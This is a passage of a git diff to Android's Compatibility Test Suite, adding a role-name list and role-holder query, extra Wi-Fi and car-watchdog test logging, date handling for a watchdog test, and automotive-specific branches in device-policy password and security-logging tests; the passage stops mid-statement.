+ for(String roleName: roleNames) {
+ store.startGroup();
+ store.addResult(ROLE_NAME, roleName);
+ store.endGroup();
+ }
+ store.endArray();
+ }
+ }
+
+ /*
+ Return a map of PackageName -> List of RoleNames held by that package
+ */
+ private HashMap<String, List<String>> getPackageRolesData() throws Exception {
+ final RoleManager roleManager = getContext().getSystemService(RoleManager.class);
+ HashMap<String, List<String>> packageRolesData = new HashMap<>();
+
+ for(String roleName: RolesUtil.ROLE_NAMES) {
+ List<String> packageNames = getRoleHolders(roleName, roleManager);
+
+ for(String packageName: packageNames) {
+ packageRolesData.putIfAbsent(packageName, new ArrayList<>());
+ packageRolesData.get(packageName).add(roleName);
+ }
+ }
+ return packageRolesData;
+ }
+
+ public static List<String> getRoleHolders(String roleName, RoleManager roleManager) throws Exception {
+ return callWithShellPermissionIdentity(
+ () -> roleManager.getRoleHolders(roleName),
+ Manifest.permission.MANAGE_ROLE_HOLDERS);
+ }
}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java
new file mode 100644
index 00000000000..65531d50835
--- /dev/null
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java
@@ -0,0 +1,47 @@
+package com.android.compatibility.common.deviceinfo;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+public class RolesUtil {
+ public final static List<String> ROLE_NAMES = new ArrayList<>(Arrays.asList(new String[] {
+ "android.app.role.ASSISTANT",
+ "android.app.role.AUTOMOTIVE_NAVIGATION",
+ "android.app.role.BROWSER",
+ "android.app.role.CALL_REDIRECTION",
+ "android.app.role.CALL_SCREENING",
+ "android.app.role.COMPANION_DEVICE_APP_STREAMING",
+ "android.app.role.COMPANION_DEVICE_COMPUTER",
+ "android.app.role.COMPANION_DEVICE_WATCH",
+ "android.app.role.DEVICE_POLICY_MANAGEMENT",
+ "android.app.role.DIALER",
+ "android.app.role.EMERGENCY",
+ "android.app.role.HOME",
+ "android.app.role.SMS",
+ "android.app.role.SYSTEM_ACTIVITY_RECOGNIZER",
+ "android.app.role.SYSTEM_AMBIENT_AUDIO_INTELLIGENCE",
+ "android.app.role.SYSTEM_APP_PROTECTION_SERVICE",
+ "android.app.role.SYSTEM_AUDIO_INTELLIGENCE",
+ "android.app.role.SYSTEM_AUTOMOTIVE_CALENDAR_SYNC_MANAGER",
+ "android.app.role.SYSTEM_AUTOMOTIVE_CLUSTER",
+ "android.app.role.SYSTEM_AUTOMOTIVE_PROJECTION",
+ "android.app.role.SYSTEM_COMPANION_DEVICE_PROVIDER",
+ "android.app.role.SYSTEM_CONTACTS",
+ "android.app.role.SYSTEM_DOCUMENT_MANAGER",
+ "android.app.role.SYSTEM_GALLERY",
+ "android.app.role.SYSTEM_NOTIFICATION_INTELLIGENCE",
+ "android.app.role.SYSTEM_SETTINGS_INTELLIGENCE",
+ "android.app.role.SYSTEM_SHELL",
+ "android.app.role.SYSTEM_SPEECH_RECOGNIZER",
+ "android.app.role.SYSTEM_SUPERVISION",
+ "android.app.role.SYSTEM_TELEVISION_NOTIFICATION_HANDLER",
+ "android.app.role.SYSTEM_TELEVISION_REMOTE_SERVICE",
+ "android.app.role.SYSTEM_TEXT_INTELLIGENCE",
+ "android.app.role.SYSTEM_UI",
+ "android.app.role.SYSTEM_UI_INTELLIGENCE",
+ "android.app.role.SYSTEM_VISUAL_INTELLIGENCE",
+ "android.app.role.SYSTEM_WELLBEING",
+ "android.app.role.SYSTEM_WIFI_COEX_MANAGER",
+ }));
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
index 5aa36c9bcd5..30084ea548f 100755
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
@@ -27,6 +27,7 @@ import android.net.ProxyInfo;
import android.net.Uri;
import android.net.wifi.WifiConfiguration;
import android.net.wifi.WifiManager;
+import android.os.Process;
import android.text.TextUtils;
import android.util.Log;
@@ -61,6 +62,7 @@ public class WifiConfigCreator {
private final Context mContext;
private final WifiManager mWifiManager;
+ private WifiManager mCurrentUserWifiManager;
public WifiConfigCreator(Context context) {
this(context, context.getApplicationContext().getSystemService(WifiManager.class));
@@ -69,6 +71,15 @@ public class WifiConfigCreator {
public WifiConfigCreator(Context context, WifiManager wifiManager) {
mContext = context;
mWifiManager = wifiManager;
+ mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class);
+ Log.d(TAG, "WifiConfigCreator: user=" + Process.myUserHandle() + ", ctx=" + context
+ + ", mgr=" + mWifiManager + ", currentUserMgr=" + mCurrentUserWifiManager);
+ }
+
+ @Override
+ public String toString() {
+ return "WifiConfigCreator[mWifiManager=" + mWifiManager
+ + ",mCurrentUserWifiManager=" + mCurrentUserWifiManager + "]";
}
/**
@@ -81,6 +92,7 @@ public class WifiConfigCreator {
WifiConfiguration wifiConf = createConfig(ssid, hidden, securityType, password);
+ Log.i(TAG, "Adding SSID " + ssid + " using " + mWifiManager);
int netId = mWifiManager.addNetwork(wifiConf);
if (netId != -1) {
@@ -303,15 +315,17 @@ public class WifiConfigCreator {
}
private List<WifiConfiguration> getConfiguredNetworksWithLogging() {
- Log.d(TAG, "calling getConfiguredNetworks()");
- List<WifiConfiguration> configuredNetworks = getConfiguredNetworks();
+ Log.d(TAG, "calling getConfiguredNetworks() using " + mCurrentUserWifiManager);
+ // Must use a the WifiManager of the current user to list networks, as
+ // getConfiguredNetworks() would return empty on systems using headless system
+ // mode as that method "Return a list of all the networks configured for the current
+ // foreground user", and the system user is running in the background in this case.
+ List<WifiConfiguration> configuredNetworks = mCurrentUserWifiManager
+ .getConfiguredNetworks();
Log.d(TAG, "Got " + configuredNetworks.size() + " networks: "
- + configuredNetworks.stream().map((c) -> c.SSID).collect(Collectors.toList()));
+ + configuredNetworks.stream().map((c) -> c.SSID + "/" + c.networkId)
+ .collect(Collectors.toList()));
return configuredNetworks;
}
-
- public List<WifiConfiguration> getConfiguredNetworks() {
- return mWifiManager.getConfiguredNetworks();
- }
}
diff --git a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
index 7057462fab3..66c6c5a0c81 100644
--- a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
+++ b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
@@ -299,6 +299,7 @@ public final class CarWatchdogTestActivity extends Activity {
CarWatchdogManager.FLAG_RESOURCE_OVERUSE_IO,
CarWatchdogManager.STATS_PERIOD_CURRENT_DAY);
}
+ Log.d(TAG, "Fetched resource overuse stats: " + stats);
IoOveruseStats ioOveruseStats = stats.getIoOveruseStats();
if (ioOveruseStats == null) {
setDumpMessage(
@@ -312,7 +313,6 @@ public final class CarWatchdogTestActivity extends Activity {
+ "' returned by get request");
return 0;
}
- Log.d(TAG, ioOveruseStats.toString());
/*
* Check for foreground mode bytes given CtsCarApp is running in the foreground
* during testing.
@@ -343,26 +343,24 @@ public final class CarWatchdogTestActivity extends Activity {
@Override
public void onOveruse(ResourceOveruseStats resourceOveruseStats) {
synchronized (mLock) {
+ Log.d(TAG, "onOveruse callback received: " + resourceOveruseStats);
mForegroundModeBytes = -1;
mNotificationReceived = true;
mLock.notifyAll();
- }
- Log.d(TAG, resourceOveruseStats.toString());
- if (resourceOveruseStats.getIoOveruseStats() == null) {
- setDumpMessage(
- "ERROR: No I/O overuse stats reported for the application in the overuse "
- + "notification.");
- return;
- }
- long reportedWrittenBytes =
- resourceOveruseStats.getIoOveruseStats().getTotalBytesWritten();
- if (reportedWrittenBytes < mExpectedMinWrittenBytes) {
- setDumpMessage("ERROR: Actual written bytes to disk '" + mExpectedMinWrittenBytes
- + "' don't match written bytes '" + reportedWrittenBytes
- + "' reported in overuse notification");
- return;
- }
- synchronized (mLock) {
+ if (resourceOveruseStats.getIoOveruseStats() == null) {
+ setDumpMessage(
+ "ERROR: No I/O overuse stats reported for the application in the "
+ + "overuse notification.");
+ return;
+ }
+ long reportedWrittenBytes =
+ resourceOveruseStats.getIoOveruseStats().getTotalBytesWritten();
+ if (reportedWrittenBytes < mExpectedMinWrittenBytes) {
+ setDumpMessage("ERROR: Actual written bytes to disk '"
+ + mExpectedMinWrittenBytes + "' don't match written bytes '"
+ + reportedWrittenBytes + "' reported in overuse notification");
+ return;
+ }
mForegroundModeBytes =
resourceOveruseStats.getIoOveruseStats().getRemainingWriteBytes()
.getForegroundModeBytes();
diff --git a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
index f66b391beaf..68598669b3d 100644
--- a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
+++ b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
@@ -29,6 +29,7 @@ import com.android.os.AtomsProto.CarWatchdogIoOveruseStats;
import com.android.os.AtomsProto.CarWatchdogIoOveruseStatsReported;
import com.android.os.AtomsProto.CarWatchdogKillStatsReported;
import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.After;
@@ -36,6 +37,7 @@ import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.time.LocalDateTime;
import java.util.List;
import java.util.Objects;
import java.util.concurrent.atomic.AtomicReference;
@@ -44,6 +46,8 @@ import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
public class CarWatchdogHostTest extends CarHostJUnit4TestCase {
+ public static final String TAG = CarWatchdogHostTest.class.getSimpleName();
+
/**
* CarWatchdog app package.
*/
@@ -120,9 +124,20 @@ public class CarWatchdogHostTest extends CarHostJUnit4TestCase {
private static final long WATCHDOG_ACTION_TIMEOUT_MS = 15_000;
+ private boolean mDidModifyDateTime;
private long mOriginalForegroundBytes;
@Before
+ public void dateSetUp() throws Exception {
+ checkAndSetDate();
+ }
+
+ @After
+ public void dateReset() throws Exception {
+ checkAndResetDate();
+ }
+
+ @Before
public void setUp() throws Exception {
ConfigUtils.removeConfig(getDevice());
ReportUtils.clearReports(getDevice());
@@ -328,4 +343,26 @@ public class CarWatchdogHostTest extends CarHostJUnit4TestCase {
"am start -W -a android.intent.action.MAIN -n %s/%s --el bytes_to_kill %d",
appPkg, ACTIVITY_CLASS, remainingBytes);
}
+
+ private void checkAndSetDate() throws Exception {
+ // Get date in ISO-8601 format
+ LocalDateTime now = LocalDateTime.parse(executeCommand("date +%%FT%%T").trim());
+ if (now.getHour() < 23) {
+ return;
+ }
+ LocalDateTime nowMinusOneHour = now.minusHours(1);
+ executeCommand("date %s", nowMinusOneHour);
+ CLog.d(TAG, "checkAndSetDate: DateTime changed from %s to %s", now, nowMinusOneHour);
+ mDidModifyDateTime = true;
+ }
+
+ private void checkAndResetDate() throws Exception {
+ if (!mDidModifyDateTime) {
+ return;
+ }
+ LocalDateTime now = LocalDateTime.parse(executeCommand("date +%%FT%%T").trim());
+ LocalDateTime nowPlusOneHour = now.plusHours(1);
+ executeCommand("date %s", nowPlusOneHour);
+ CLog.d(TAG, "checkAndResetDate: DateTime changed from %s to %s", now, nowPlusOneHour);
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index fcc7d5d0ca7..472cdbc1e5f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -44,7 +44,7 @@
<!-- Add a network security config that trusts user added CAs for tests -->
<application android:networkSecurityConfig="@xml/network_security_config"
- android:testOnly="true">
+ android:testOnly="true" android:debuggable="true">
<uses-library android:name="android.test.runner"/>
<receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 67a508596bf..76126cf03fb 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -127,6 +127,8 @@ public abstract class BaseDeviceAdminTest extends InstrumentationTestCase {
protected UserManager mUserManager;
protected Context mContext;
protected boolean mHasSecureLockScreen;
+ protected boolean mIsAutomotive;
+ protected boolean mIsDeviceOwnerTest;
static CountDownLatch mOnPasswordExpiryTimeoutCalled;
protected final String mTag = getClass().getSimpleName();
@@ -141,12 +143,14 @@ public abstract class BaseDeviceAdminTest extends InstrumentationTestCase {
mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+ mIsAutomotive = mContext.getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_AUTOMOTIVE);
- boolean isDeviceOwnerTest = "DeviceOwner"
+ mIsDeviceOwnerTest = "DeviceOwner"
.equals(InstrumentationRegistry.getArguments().getString("admin_type"));
mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
- BasicAdminReceiver.class, isDeviceOwnerTest);
+ BasicAdminReceiver.class, mIsDeviceOwnerTest);
Log.v(TAG, "setup(): dpm for " + getClass() + " and user " + mContext.getUserId() + ": "
+ mDevicePolicyManager);
@@ -159,7 +163,7 @@ public abstract class BaseDeviceAdminTest extends InstrumentationTestCase {
Log.d(mTag, "setup() on user " + mContext.getUserId() + ": package=" + PACKAGE_NAME
+ ", adminReceiverComponent=" + ADMIN_RECEIVER_COMPONENT
+ ", isActiveAdmin=" + isActiveAdmin + ", isProfileOwner=" + isProfileOwner
- + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + isDeviceOwnerTest);
+ + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + mIsDeviceOwnerTest);
assertWithMessage("active admin for %s", ADMIN_RECEIVER_COMPONENT).that(isActiveAdmin)
.isTrue();
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
index f9ce72697f7..59a5a5c6786 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
@@ -22,18 +22,22 @@ import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED
import static org.testng.Assert.assertThrows;
+import android.util.Log;
+
/**
* Class that tests password constraints API preconditions.
*/
public class PasswordRequirementsTest extends BaseDeviceAdminTest {
+
private static final int TEST_VALUE = 5;
+
+ private static final int DEFAULT_LENGTH = 0;
private static final int DEFAULT_NUMERIC = 1;
private static final int DEFAULT_LETTERS = 1;
private static final int DEFAULT_UPPERCASE = 0;
private static final int DEFAULT_LOWERCASE = 0;
private static final int DEFAULT_NON_LETTER = 0;
private static final int DEFAULT_SYMBOLS = 1;
- private static final int DEFAULT_LENGTH = 0;
public void testPasswordConstraintsDoesntThrowAndPreservesValuesPreR() {
// Pre-R password restrictions can be set in any order.
@@ -51,23 +55,46 @@ public class PasswordRequirementsTest extends BaseDeviceAdminTest {
// Make sure these values are preserved and not reset when quality is set low.
mDevicePolicyManager.setPasswordQuality(
ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+ if (mIsAutomotive) {
+ assertEquals(DEFAULT_LENGTH,
+ mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_NUMERIC,
+ mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_LETTERS,
+ mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_UPPERCASE,
+ mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_LOWERCASE,
+ mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_NON_LETTER,
+ mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_SYMBOLS,
+ mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+ } else {
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+
+ }
}
public void testSettingConstraintsWithLowQualityThrowsOnRPlus() {
+ if (!deviceSupportDeprecatedPasswordQualityAPIs(
+ "testSettingConstraintsWithLowQualityThrowsOnRPlus")) {
+ return;
+ }
+
// On R and above quality should be set first.
mDevicePolicyManager.setPasswordQuality(
ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
@@ -89,6 +116,11 @@ public class PasswordRequirementsTest extends BaseDeviceAdminTest {
}
public void testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus() {
+ if (!deviceSupportDeprecatedPasswordQualityAPIs(
+ "testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus")) {
+ return;
+ }
+
// On R and above quality should be set first.
mDevicePolicyManager.setPasswordQuality(
ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
@@ -112,6 +144,11 @@ public class PasswordRequirementsTest extends BaseDeviceAdminTest {
}
public void testSettingConstraintsWithComplexQualityAndResetWithLowerQuality() {
+ if (!deviceSupportDeprecatedPasswordQualityAPIs(
+ "testSettingConstraintsWithComplexQualityAndResetWithLowerQuality")) {
+ return;
+ }
+
// On R and above when quality is lowered, irrelevant requirements are getting reset.
mDevicePolicyManager.setPasswordQuality(
ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
@@ -153,6 +190,13 @@ public class PasswordRequirementsTest extends BaseDeviceAdminTest {
// Now length should also be reset.
assertEquals(DEFAULT_LENGTH,
mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+ }
+ private boolean deviceSupportDeprecatedPasswordQualityAPIs(String test) {
+ if (mIsAutomotive) {
+ Log.d(mTag, "Skipping " + test + "on automotive build");
+ return false;
+ }
+ return true;
}
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index f0d69e80564..1ab76e567d8 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -34,8 +34,11 @@ import static com.google.common.truth.Truth.assertWithMessage;
import android.Manifest.permission;
import android.app.UiAutomation;
import android.app.admin.DevicePolicyManager;
+import android.content.Context;
import android.content.IntentFilter;
import android.os.Process;
+import android.os.UserHandle;
+import android.os.UserManager;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
@@ -238,27 +241,43 @@ public class PermissionsTest extends BaseDeviceAdminTest {
private void assertCanSetPermissionGrantStatePreMApp(String permission, int value)
throws Exception {
- assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- PRE_M_APP_PACKAGE_NAME, permission, value));
- assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- PRE_M_APP_PACKAGE_NAME, permission), value);
+ Log.d(TAG, "Calling " + mDevicePolicyManager + ".setPermissionGrantState("
+ + PRE_M_APP_PACKAGE_NAME + ", " + permission + ", "
+ + permissionGrantStateToString(value) + ")");
+ boolean result = mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+ PRE_M_APP_PACKAGE_NAME, permission, value);
+ Log.d(TAG, "Result: " + result);
+
+ assertWithMessage("%s.setPermissionGrantState(%s, %s, %s)", mDevicePolicyManager,
+ ADMIN_RECEIVER_COMPONENT, PRE_M_APP_PACKAGE_NAME,
+ permissionGrantStateToString(value)).that(result).isTrue();
+
+ assertPermissionGrantState(mDevicePolicyManager, PRE_M_APP_PACKAGE_NAME, permission, value);
+
+ Context context = mContext;
+ if (mIsDeviceOwnerTest && UserManager.isHeadlessSystemUserMode()) {
+ Log.d(TAG, "Using context for system user on device owner test because device uses "
+ + "headless system user mode");
+ context = mContext.createContextAsUser(UserHandle.SYSTEM, /* flags= */ 0);
+ }
// Install time permissions should always be granted
- PermissionUtils.checkPermission(permission, PERMISSION_GRANTED, PRE_M_APP_PACKAGE_NAME);
+ PermissionUtils.checkPermission(context, permission, PERMISSION_GRANTED,
+ PRE_M_APP_PACKAGE_NAME);
// For pre-M apps the access to the data might be prevented via app-ops. Hence check that
// they are correctly set
switch (value) {
case PERMISSION_GRANT_STATE_GRANTED:
- PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_GRANTED,
+ PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_GRANTED,
PRE_M_APP_PACKAGE_NAME);
break;
case PERMISSION_GRANT_STATE_DENIED:
- PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_DENIED,
+ PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_DENIED,
PRE_M_APP_PACKAGE_NAME);
break;
default:
- fail("unsupported policy value");
+ fail("unsupported policy value (" + value + ")");
}
}
@@ -438,9 +457,10 @@ public class PermissionsTest extends BaseDeviceAdminTest {
int grantState) {
boolean result = dpm.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
PERMISSION_APP_PACKAGE_NAME, permission, grantState);
- Log.d(TAG, "setPermissionGrantState(" + permission + "): requested " + grantState + " ("
- + permissionGrantStateToString(grantState) + ") using DPM " + mDevicePolicyManager
- + " on uid " + Process.myUid() + ", got " + result);
+ Log.d(TAG, "setPermissionGrantState(" + PERMISSION_APP_PACKAGE_NAME + ", " + permission
+ + "): requested " + grantState + " (" + permissionGrantStateToString(grantState)
+ + ") using DPM " + mDevicePolicyManager + " on uid " + Process.myUid()
+ + ", got " + result);
return result;
}
@@ -450,12 +470,17 @@ public class PermissionsTest extends BaseDeviceAdminTest {
private void assertPermissionGrantState(DevicePolicyManager dpm, String permission,
int expectedState) {
+ assertPermissionGrantState(dpm, PERMISSION_APP_PACKAGE_NAME, permission, expectedState);
+ }
+
+ private void assertPermissionGrantState(DevicePolicyManager dpm, String packageName,
+ String permission, int expectedState) {
int actualState = dpm.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- PERMISSION_APP_PACKAGE_NAME, permission);
+ packageName, permission);
assertWithMessage("%s.getPermissionGrantState(%s, %s, %s) (where %s=%s and %s=%s)",
- mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, PERMISSION_APP_PACKAGE_NAME,
- permission, expectedState, permissionGrantStateToString(expectedState),
+ mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, packageName, permission,
+ expectedState, permissionGrantStateToString(expectedState),
actualState, permissionGrantStateToString(actualState))
.that(actualState)
.isEqualTo(expectedState);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index db28c240e56..d8fd8df77a4 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -491,14 +491,24 @@ public class SecurityLoggingTest extends BaseDeviceAdminTest {
return findEvent(description, events, e -> e.getTag() == tag);
}
+ private List<SecurityEvent> findEvents(List<SecurityEvent> events,
+ Predicate<SecurityEvent> predicate) {
+ return events.stream().filter(predicate).collect(Collectors.toList());
+ }
+
private SecurityEvent findEvent(String description, List<SecurityEvent> events,
Predicate<SecurityEvent> predicate) {
- final List<SecurityEvent> matches =
- events.stream().filter(predicate).collect(Collectors.toList());
+ final List<SecurityEvent> matches = findEvents(events, predicate);
assertEquals("Invalid number of matching events: " + description, 1, matches.size());
return matches.get(0);
}
+ private void assertNumberEvents(String description, List<SecurityEvent> events,
+ Predicate<SecurityEvent> predicate, int expectedSize) {
+ assertEquals("Invalid number of matching events: " + description, expectedSize,
+ findEvents(events, predicate).size());
+ }
+
private static Object getDatum(SecurityEvent event, int index) {
final Object[] dataArray = (Object[]) event.getData();
return dataArray[index];
@@ -679,21 +689,21 @@ public class SecurityLoggingTest extends BaseDeviceAdminTest {
// The order should be consistent with the order in generatePasswordComplexityEvents(), so
// that the expected values change in the same sequence as when setting password policies.
expectedPayload[PWD_QUALITY_INDEX] = PASSWORD_QUALITY_COMPLEX;
- findPasswordComplexityEvent("set pwd quality", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd quality", events, expectedPayload);
expectedPayload[PWD_LEN_INDEX] = TEST_PWD_LENGTH;
- findPasswordComplexityEvent("set pwd length", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd length", events, expectedPayload);
expectedPayload[LETTERS_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min letters", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min letters", events, expectedPayload);
expectedPayload[NON_LETTERS_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload);
expectedPayload[UPPERCASE_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload);
expectedPayload[LOWERCASE_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload);
expectedPayload[NUMERIC_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min numeric", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min numeric", events, expectedPayload);
expectedPayload[SYMBOLS_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
}
private void verifyNewStylePasswordComplexityEventPresent(List<SecurityEvent> events) {
@@ -769,10 +779,11 @@ public class SecurityLoggingTest extends BaseDeviceAdminTest {
getInt(e, ADMIN_USER_INDEX) == userId);
}
- private void findPasswordComplexityEvent(
+ private void assertPasswordComplexityEvent(
String description, List<SecurityEvent> events, Object[] expectedPayload) {
- findEvent(description, events,
- byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload));
+ int expectedSize = mIsAutomotive ? 0 : 1;
+ assertNumberEvents(description, events,
